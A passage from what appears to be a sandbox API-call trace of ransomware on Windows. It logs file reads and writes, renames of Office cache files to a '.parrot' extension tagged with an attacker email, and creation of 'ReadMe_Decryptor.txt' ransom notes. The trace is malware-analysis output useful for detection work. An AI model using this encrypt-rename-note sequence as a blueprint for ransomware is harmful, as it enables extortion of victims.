HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0113.475] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x21c32) returned 0x2226880 [0113.476] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0113.477] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x32a39) returned 0x3178458 [0113.479] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2226880 | out: hHeap=0x5b0000) returned 1 [0113.480] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4bf44) returned 0x2210048 [0113.481] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178458 | out: hHeap=0x5b0000) returned 1 [0113.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x71ed4) returned 0x225bf98 [0113.487] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0113.489] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xaae2c) returned 0x3020020 [0113.520] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0113.521] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a668 | out: hHeap=0x5b0000) returned 1 [0113.521] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0113.521] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f10020 | out: hHeap=0x5b0000) returned 1 [0113.526] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x63f228 [0113.526] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x5ccf38 [0113.526] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0113.526] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0113.526] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\ReadMe_Decryptor.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ecc8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x260 [0113.570] GetFileType (hFile=0x260) returned 0x1 [0113.570] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0113.581] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0113.582] ReadFile (in: hFile=0x260, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0113.583] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.584] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x543, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x543, lpOverlapped=0x0) returned 1 [0113.584] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0113.584] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0113.584] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0113.584] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0113.584] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0113.584] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0113.584] GetLastError () returned 0x0 [0113.584] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.584] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0113.584] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0113.584] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0113.585] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4bb0 [0113.585] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0113.585] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0113.585] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0113.585] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4bb0 [0113.585] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0113.585] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0113.585] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0113.585] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0113.585] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0113.585] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604300 [0113.585] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0113.585] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0113.585] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604300 | out: hHeap=0x5b0000) returned 1 [0113.585] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0113.585] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0113.585] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5d51f8 [0113.585] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0113.585] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b618 [0113.585] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d51f8 | out: hHeap=0x5b0000) returned 1 [0113.585] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x65f2e0 [0113.585] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b618 | out: hHeap=0x5b0000) returned 1 [0113.585] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x601838 [0113.585] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65f2e0 | out: hHeap=0x5b0000) returned 1 [0113.585] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176070 [0113.585] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0113.585] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x683258 [0113.585] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176070 | out: hHeap=0x5b0000) returned 1 [0113.585] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0113.585] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x683258 | out: hHeap=0x5b0000) returned 1 [0113.585] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x2210ae0 [0113.585] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0113.585] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0113.585] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210ae0 | out: hHeap=0x5b0000) returned 1 [0113.585] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5d8fd0 [0113.586] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0113.586] WriteFile (in: hFile=0x260, lpBuffer=0x5d8fd0*, nNumberOfBytesToWrite=0x668, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x5d8fd0*, lpNumberOfBytesWritten=0x18eed4*=0x668, lpOverlapped=0x0) returned 1 [0113.586] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0113.586] UnlockFile (hFile=0x260, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x65b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0113.586] CloseHandle (hObject=0x260) returned 1 [0113.586] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x683258 [0113.586] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x106) returned 0x69a668 [0113.586] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x683258 | out: hHeap=0x5b0000) returned 1 [0113.587] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0113.587] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a668 | out: hHeap=0x5b0000) returned 1 [0113.587] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0113.587] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0113.587] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x63f228 [0113.587] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x5ccf38 [0113.587] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0113.587] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0113.590] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0113.590] ReadFile (in: hFile=0x260, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0113.592] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.592] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0113.605] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0113.605] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0113.605] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0113.605] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0113.605] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0113.605] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0113.605] GetLastError () returned 0x0 [0113.642] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.642] WriteFile (in: hFile=0x260, lpBuffer=0x643228*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x643228*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0113.643] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.643] WriteFile (in: hFile=0x260, lpBuffer=0x2f10040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0113.647] UnlockFile (hFile=0x260, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd02c02, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0113.647] CloseHandle (hObject=0x260) returned 1 [0113.647] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x683310 [0113.647] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x106) returned 0x69a668 [0113.647] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x683310 | out: hHeap=0x5b0000) returned 1 [0113.647] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0113.648] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a668 | out: hHeap=0x5b0000) returned 1 [0113.648] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0113.648] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f10020 | out: hHeap=0x5b0000) returned 1 [0113.652] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x63f228 [0113.652] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x5cce70 [0113.652] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0113.652] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0114.330] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0114.331] ReadFile (in: hFile=0x260, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0114.458] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.459] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd7200, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd7200, lpOverlapped=0x0) returned 1 [0114.466] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0114.466] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0114.466] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0114.466] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0114.466] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0114.466] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0114.466] GetLastError () returned 0x0 [0114.492] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.492] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0114.493] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0114.493] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0114.493] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4bb0 [0114.493] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0114.493] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0114.493] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0114.493] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4bb0 [0114.493] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0114.493] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0114.493] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0114.493] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0114.493] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0114.493] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604300 [0114.493] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0114.493] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0114.493] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604300 | out: hHeap=0x5b0000) returned 1 [0114.493] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0114.493] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0114.493] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5d51f8 [0114.493] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0114.493] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b618 [0114.493] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d51f8 | out: hHeap=0x5b0000) returned 1 [0114.493] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x65f2e0 [0114.493] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b618 | out: hHeap=0x5b0000) returned 1 [0114.493] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x601838 [0114.493] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65f2e0 | out: hHeap=0x5b0000) returned 1 [0114.493] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176070 [0114.493] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0114.493] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x69c668 [0114.494] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176070 | out: hHeap=0x5b0000) returned 1 [0114.494] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0114.494] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69c668 | out: hHeap=0x5b0000) returned 1 [0114.494] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d2850 [0114.494] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0114.494] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0114.494] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0114.494] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x69e650 [0114.494] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0114.494] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0114.494] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0114.494] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0114.494] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0114.494] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0114.494] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0114.494] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x685240 [0114.495] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0114.495] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x6881d8 [0114.495] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x685240 | out: hHeap=0x5b0000) returned 1 [0114.495] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x690250 [0114.495] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6881d8 | out: hHeap=0x5b0000) returned 1 [0114.499] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x647210 [0114.499] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x690250 | out: hHeap=0x5b0000) returned 1 [0114.500] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x3160050 [0114.501] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x647210 | out: hHeap=0x5b0000) returned 1 [0114.501] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1682d) returned 0x2210048 [0114.502] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0114.503] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x21c32) returned 0x2226880 [0114.504] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0114.504] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x32a39) returned 0x3178458 [0114.613] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2226880 | out: hHeap=0x5b0000) returned 1 [0114.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4bf44) returned 0x2210048 [0114.614] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178458 | out: hHeap=0x5b0000) returned 1 [0114.615] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x71ed4) returned 0x225bf98 [0114.620] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0114.622] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xaae2c) returned 0x3020020 [0114.680] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0114.681] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a668 | out: hHeap=0x5b0000) returned 1 [0114.681] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0114.681] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f10020 | out: hHeap=0x5b0000) returned 1 [0114.685] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x63f228 [0114.685] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x5cce70 [0114.685] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0114.685] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0114.685] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\ReadMe_Decryptor.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ecc8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x260 [0114.686] GetFileType (hFile=0x260) returned 0x1 [0114.686] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0114.697] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0114.697] ReadFile (in: hFile=0x260, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: 